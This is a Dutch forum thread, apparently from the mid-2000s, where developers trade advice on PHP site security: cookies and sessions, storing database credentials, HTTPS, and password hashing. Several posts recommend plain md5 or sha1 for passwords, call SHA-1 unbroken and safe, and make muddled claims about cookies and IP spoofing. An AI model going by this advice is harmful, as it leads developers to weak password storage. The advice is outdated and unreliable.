- Cookies en sessies, daar verdraaid mijn hele beeld na het lezen van deze topic. Ik dacht juist dat cookies geschikt waren om bij te houden of je altijd ingelogd wil zijn, wat je username en paswoord is. Zelfde voor sessies. Met beide heb ik nooit gewerkt, maar dit was volgens mij "the way to go". Als dat dus niet zo is, hoe moet je dan realiseren dat de site herkent of je altijd ingelogd bent? Door dat op te slaan in je database? Maar dat is toch ook weer te achterhalen? Is dat zoveel veiliger?




- het is al zeker fout om de login gegevens van de database te includen want dan kan de gebruiker altijd aan deze gegevens raken (ik veronderstel dat dit is gedaan dmv hidden fields). Zelfs als de gegevens dan versleuteld zijn is het nog altijd gevaarlijk. De gebruikers kan met deze sleutels lokaal veel sneller een brute force aanval opzetten.

- coockies en sessies zijn wel degelijk veilig. De data die je opslaat in de coockies is een andere zaak. Je moet voor de lol maar eens een scriptje schijven dat alle coockies opvraag van de persoon die naar je site komt. Je zal twee soorten coockies krijgen. Ten eerste de coockies die aangemaakt zijn op diezelfde server. Coockies die aangemaakt zijn op server a kunnen nooit opgevraagd worden door server b. Het tweede type coockie is een unieke coockie die aangemaakt wordt wanneer je je browser opstart (de sessie eigenlijk). Deze coockie wordt dan ook gebruikt om de sessie van de gebruiker te volgen. Eens de gebruiker de browser heeft afgezet is deze coockie dan ook weg (volgende keer dat hij de browser aanzet wordt er namelijk een nieuwe coockie gegenereerd).
Het is natuurlijk niet zo veilig om gevoelige informatie in deze "sessie coockie" te steken vermits die door iedere browser uitgelezen kan worden!



Gelieve mij te verbeteren als mijn verhaal niet klopt :)

[mech7]

Het is ook belangrijk dat je er al van uitgaat dat ze binnenkomen, maar dat ze dan zo weinig mogelijk schade kunnen doen.. change password bv via email verificatie.. Geeft meteen een waarschuwing aan de gebruiker als er iemand binnen is gekomen :)

Een cron-job wat regelmatig backupjes maakt is ook wel handig :)

[De Kale]

Je wachtwoord van de database zou ik niet plain in een php script steken. Ik zou het in een xml file steken BUITEN de public folder van je account. Je kan dan ten eerste makkelijk van database type veranderen (gewoon databasemapper aanpassen en alle andere db gegevens die in de xml file steken en klaar is kees) en ten tweede niemand met een internet connectie kan er aan vermits deze file alleen lokaal kan benaderd worden. De database kan trouwens ook altijd alleen maar lokaal aangeroepen worden!

xml lijkt me niet handig...
waarom zou je een xml bestand maken? beter een php bestand dat je include, dat hoef je niet te parsen, de variables zijn direct beschikbaar in de scope van je script. xml geeft alleen meer overhead en geen extra beveiliging.

buiten de public folder is al meerdere keren langsgekomen :)

overigens: de meeste mensen focussen zich op de database gegevens, maar geloof me, dat is het minste van je zorgen, met foute userinput en het niet checken hiervan kun je veel meer schade aanrichten (het mass mail voorbeeld is hier een goed voorbeeld van).

leuk boek als aanrader: guide to PHP security met voorwoord van rasmus lerdorf:
http://www.phparch.com/shop_product.php?itemid=98

[allemensen]

Ik wil nog ff wat toevoegen. Ik heb dit artikel (http://www.flipcode.com/cgi-bin/fcarticles.cgi?show=64455) gelezen op flipcode.com. Dit gaat weliswaar over c/c++, maar ik denk dat het ook van toepassing is op flash. Want als het hacken drie keer zoveel werk is als het maken, gaan een hoop minder mensen dat doen.

[josko]

Nope, spel is ook geencrypt met Amayeta . (Dus het kán nog altijd wel, maar 't is dan toch al vrij moeilijk )

Beetje oud topic, vind je niet?

[b.sondagh]

Leuke thread, ff een aantal reacties:
1. beveilig je wachtwoorden met de functies md5() of sha1() beiden zijn volgens sommigen al meerdere malen gekraakt maar nog nooit harde bewijzen dus is dit voorlopig de beste oplossing.
Sha1 is nog nooit gekraakt en md5 is wel eens 'gekraakt'. D.w.z. het is een keer iemand gelukt om een andere md5 hashwaarde te genereren van een bestand dan de echte. Dit wil niet zeggen dat je een md5 password kan pakken en de echte waarde gelijk kan uitlezen.

HTTPS: lijkt me daarom de oplossing, alleen vraag ik me af hoe dat gaat werken in een pagina die via het HTTP protocol wordt binnengehaald.
Dit gaat precies hetzelfde, je browser zet de HTML code om in een pagina.
Het verschil zit 'm erin dat je niet op poort 80 plain text opvraagd maar dat je op poort 443 een versleutelde verbinding maakt (adhv een SSL certificaat) en dat alle data die verstuurd wordt alleen versleuteld uitgelezen kan worden. (ja er zijn man-in-the-middle attacks maar dat is voor de hacker+ en niet voor de gemiddelde script kiddie)

bij de host waar ik regelmatig mee werk, heb alleen ik toegang tot de database vanuit 2 ip adressen: op kantoor, thuis, en via localhost (wat meestal dus de webserver zelf is).
ik kan dus veilig hier mijn ww+uname neerzetten, maar niemand van jullie komt in die database
IP spoofing is voor de script kiddie zeer eenvoudig, dus als iemand hier jouw IP weet (thuis of kantoor) dan kan dit middels tools worden geemuleerd.

Tot slot is de zwakste schakel volgens mij social engineering. ;) "No patch for human stupidity"

[brossiekoppie]

Sha1 is nog nooit gekraakt en md5 is wel eens 'gekraakt'. D.w.z. het is een keer iemand gelukt om een andere md5 hashwaarde te genereren van een bestand dan de echte. Dit wil niet zeggen dat je een md5 password kan pakken en de echte waarde gelijk kan uitlezen.


Om dan toch nog even hierop te reageren...

Een Sha1 hash heeft een lengte van 40 karakters. Dat is 8 meer dan md5 en maakt het daarom inderdaad moeilijker te kraken dan bvb. md5.
Voor md5 zijn er heel wat initiatieven zoals bvb een md5-google die wordt gevoed door een script dat constant random strings omzet naar md5 en opslaat in een db.

Hoe dan ook is geen van beide technieken volledig waterdicht. Daarom moet je altijd gebruik maken van salting.

http://phpsec.org/articles/2005/password-hashing.html

[b.sondagh]

Gekraakt in de cryptologie betekend dat het algoritme niet meer 100% waterdicht is. Bij md5, is een hash vervalsen nog steeds extreem moeilijk geval en wordt daarom nog steeds als een zeer betrouwbaar algoritme gezien, alleen zal het nu steeds sneller gaan afbrokkelen.
Hoe dan ook is geen van beide technieken volledig waterdicht.
Sha1 wordt echter nog steeds beschouwd al een 'veilig' algoritme. Nog nooit gekraakt en vele overheden (o.a. de DoD - Amerikaanse Department of Defense, welke doorgaans zeer hoge eisen stelt) gebruiken Sha1 als standaard hashing algoritme.

Ja salten is zeker aan te raden. Bedenkt wel dat salten er van uitgaat dat de 'tegenstander' gebruik maakt van rainbow tables. (alle mogelijke hashes van standaard teken combinaties) Maar een beetje complete rainbow table is al snel een paar terrabyte groot. Dus als iemand over zulke db's beschikt en binnen wil komen, komt hij of zij ;) toch wel binnen.

[mech7]

Gekraakt in de cryptologie betekend dat het algoritme niet meer 100% waterdicht is. Bij md5, is een hash vervalsen nog steeds extreem moeilijk geval en wordt daarom nog steeds als een zeer betrouwbaar algoritme gezien, alleen zal het nu steeds sneller gaan afbrokkelen.

Sha1 wordt echter nog steeds beschouwd al een 'veilig' algoritme. Nog nooit gekraakt en vele overheden (o.a. de DoD - Amerikaanse Department of Defense, welke doorgaans zeer hoge eisen stelt) gebruiken Sha1 als standaard hashing algoritme.

Ja salten is zeker aan te raden. Bedenkt wel dat salten er van uitgaat dat de 'tegenstander' gebruik maakt van rainbow tables. (alle mogelijke hashes van standaard teken combinaties) Maar een beetje complete rainbow table is al snel een paar terrabyte groot. Dus als iemand over zulke db's beschikt en binnen wil komen, komt hij of zij ;) toch wel binnen.

En SHA 256 / 512 is nog veliliger :D